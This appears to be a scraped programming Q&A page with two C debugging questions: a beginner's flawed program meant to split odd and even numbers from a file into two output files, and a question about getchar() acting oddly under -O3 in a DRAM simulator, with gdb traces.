    enter code herei was writting a program that can read a set of numbers file called dog.txt; and also writes to two file separating odd and even. i was able to compile my program however, the output expected is not the same which was supposed to be even numbers in one file called EVEN, odd numbers in file odd. #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int i; int even,odd; int num; if (argc != 4) { printf("Usage: executable in_file output_file\n"); exit(0); } FILE *dog = fopen(argv[1], "r"); FILE *feven= fopen(argv[2], "w"); FILE *fodd= fopen (argv[3], "w"); while (fscanf(dog, "%d", &num) != EOF) { if (0==i%2){ i++; printf("even= %d\n", num); } else if(i!=0){ i++; printf("odd= %d\n", num); } } fclose(feven); fclose(fodd); fclose(dog); return 0; } output: even= 1 odd= 2 even= 34 odd= 44 even= 66 odd= 78 even= 94 odd= 21 even= 23 odd= 54 even= 44 odd= 65 even= 78 odd= 68 even= 92

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  • Strange behavior using getchar() and -O3

    - by Eduardo
    I have these two functions void set_dram_channel_width(int channel_width){ printf("one\n"); getchar(); } void set_dram_transaction_granularity(int cacheline_size){ printf("two\n"); getchar(); } //output: one f //my keyboard input two one f //keyboard input two one f //keyboard input //No more calls Then I change the functions to: void set_dram_channel_width(int channel_width){ printf("one\n"); } void set_dram_transaction_granularity(int cacheline_size){ printf("two\n"); getchar(); } //output one two f //keyboard input //No more calls Both functions are called by an external code, the code for both programs is the same, just changing the getchar() I get those two different outputs. Is this possible or there is something that is really wrong in my code? Thanks This is the output I get with GDB** For the first code (gdb) break mem-dram.c:374 Breakpoint 1 at 0x71c810: file build/ALPHA_FS/mem/dramsim/mem-dram.c, line 374. (gdb) break mem-dram.c:381 Breakpoint 2 at 0x71c7b0: file build/ALPHA_FS/mem/dramsim/mem-dram.c, line 381. (gdb) run -d ./tmp/MyBench2/ one f [Switching to Thread 47368811512112 (LWP 17507)] Breakpoint 1, set_dram_channel_width (channel_width=64) (gdb) c Continuing. two one f Breakpoint 2, set_dram_transaction_granularity (cacheline_size=64) (gdb) c Continuing. Breakpoint 1, set_dram_channel_width (channel_width=8) 374 void set_dram_channel_width(int channel_width){ (gdb) c Continuing. two one f For the second code (gdb) break mem-dram.c:374 Breakpoint 1 at 0x71c7b6: file build/ALPHA_FS/mem/dramsim/mem-dram.c, line 374. (gdb) break mem-dram.c:380 Breakpoint 2 at 0x71c7f0: file build/ALPHA_FS/mem/dramsim/mem-dram.c, line 380. (gdb) run one two f [Switching to Thread 46985688772912 (LWP 17801)] Breakpoint 1, set_dram_channel_width (channel_width=64) (gdb) c Continuing. Breakpoint 2, set_dram_transaction_granularity (cacheline_size=64) (gdb) c Continuing. Breakpoint 1, set_dram_channel_width (channel_width=8) (gdb) c Continuing.

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